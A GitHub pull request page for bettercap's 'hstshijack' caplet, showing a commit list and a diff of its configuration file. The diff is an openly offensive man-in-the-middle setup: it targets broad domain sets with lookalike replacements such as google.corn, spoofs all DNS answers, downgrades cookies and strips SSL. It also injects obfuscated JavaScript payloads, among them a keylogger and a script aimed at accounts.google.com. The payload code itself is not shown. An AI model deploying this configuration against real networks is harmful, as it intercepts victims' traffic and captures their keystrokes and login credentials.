-
Notifications
You must be signed in to change notification settings - Fork 153
Update hstshijack #78
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
buffermet
wants to merge
32
commits into
bettercap:master
Choose a base branch
from
buffermet:master
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
32 commits
Select commit
Hold shift + click to select a range
11505d1
backup
buffermet f3f75b5
Update README.md
buffermet 9b29d81
Update README.md
buffermet 22c54c7
Update README.md
buffermet 1c625d6
Update README.md
buffermet 7f06b02
Update README.md
buffermet 8b76a6a
Rename hstshijack.js to http.proxy.js
buffermet 8c0be60
Update hstshijack.cap
buffermet c61368e
Update README.md
buffermet d7e4cad
Implement req URL regex replacements, fix bug where spaces were strip…
buffermet 9e856ae
Make DNS proxying dynamic.
buffermet 68f7eea
Fix whitespace removal.
buffermet f0f36d9
Rename req.body.json to req.Body.json
buffermet 4e0f9d5
Rename req.headers.json to req.Headers.json
buffermet 7250997
Rename req.url.json to req.URL.json
buffermet ba2019b
Rename res.body.json to res.Body.json
buffermet 7588392
Rename res.headers.json to res.Headers.json
buffermet f126226
wu wei
buffermet 174373d
Fix env var.
buffermet 0ceee97
Reduce overhead.
buffermet 9a3d92c
Change indentation to tabs.
buffermet b4d9c79
Change indentation to tabs.
buffermet 996898d
Change indentation to tabs.
buffermet 0db1ed6
Change indentation to tabs.
buffermet 3157efd
Add 'port' property to URL regex replacement config.
buffermet cd5fd07
Update README.md
buffermet 659b936
Drop AAAA queries.
buffermet c8a6a63
Simplify AAAA query filtering.
buffermet 5451be9
Make MutationObserver aggressive, silence errors.
buffermet 42bf301
Fix indentation.
buffermet 1294ef9
Update README.md
buffermet 85ffc31
Update README.md
buffermet File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,24 +1,35 @@ | ||
| # Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack | ||
|
|
||
| set $ "" | ||
|
|
||
| #events.ignore http.proxy.spoofed | ||
|
|
||
| # Domains assigned to 'hstshijack.targets', 'hstshijack.blockscripts' and 'hstshijack.payloads' | ||
| # variables get precendence over those assigned to the 'hstshijack.ignore' variable. | ||
| set hstshijack.targets google.com, *.google.com, gstatic.com, *.gstatic.com | ||
| set hstshijack.replacements google.corn,*.google.corn,gstatic.corn,*.gstatic.corn | ||
| set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/domains.txt | ||
| set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/index.json | ||
| set hstshijack.ssl.check true | ||
| #set hstshijack.blockscripts example.com,*.example.com | ||
| set hstshijack.obfuscate true | ||
| set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js,google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js | ||
| set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/whitelist.json | ||
| set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com | ||
| set hstshijack.targets *.com, *.net,*.me, *.nl,clarity.ms,*.clarity.ms,*.ai,*.co.uk,*.cn,*.google | ||
| set hstshijack.replacements *.corn,*.nel,*.rne,*.ni,clarity.ns,*.clarity.ns,*.al,*.cc.uk,*.ch,*.googl | ||
| set hstshijack.replacements.req.body /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.Body.json | ||
| set hstshijack.replacements.req.headers /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.Headers.json | ||
| set hstshijack.replacements.req.url /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.URL.json | ||
| set hstshijack.replacements.res.body /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/res.Body.json | ||
| set hstshijack.replacements.res.headers /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/res.Headers.json | ||
| set hstshijack.ssl.domains /home/buffermet/git/github.com/bettercap/caplets/hstshijack/ssl/domains.txt | ||
| set hstshijack.ssl.index /home/buffermet/git/github.com/bettercap/caplets/hstshijack/ssl/index.json | ||
| set hstshijack.ssl.index.check true | ||
| set hstshijack.ssl.discovery.synchronous true | ||
| set hstshijack.ssl.discovery.timeout 4 | ||
| set hstshijack.cookies.downgrade true | ||
| #set hstshijack.blockscripts example.com,*.example.com | ||
| set hstshijack.obfuscate true | ||
| set hstshijack.payloads *:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/hijack.js,*:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/google-search.js,google.com:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/google-search.js,*:/home/buffermet/amoeba/extension/scripts/hstshijack.amoeba.js,*:/home/buffermet/amoeba/extension/scripts/hstshijack.hid.js,*:/home/buffermet/amoeba/extension/scripts/hstshijack.open.url.js,accounts.google.com:/home/buffermet/amoeba/extension/scripts/hstshijack.accounts.google.com.js | ||
| set hstshijack.whitelist /home/buffermet/git/github.com/bettercap/caplets/hstshijack/session/whitelist.json | ||
| set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com | ||
|
|
||
| net.recon on | ||
|
|
||
| set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js | ||
| set http.proxy.script /home/buffermet/git/github.com/bettercap/caplets/hstshijack/modules/http.proxy.js | ||
| http.proxy on | ||
|
|
||
| set dns.spoof.domains google.corn,*.google.corn,gstatic.corn,*.gstatic.corn | ||
| set dns.spoof.all true | ||
| dns.spoof on | ||
| set dns.proxy.script /home/buffermet/git/github.com/bettercap/caplets/hstshijack/modules/dns.proxy.js | ||
| dns.proxy on | ||
|
|
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should this actually link to yours and not to the bettercap/caplets repo?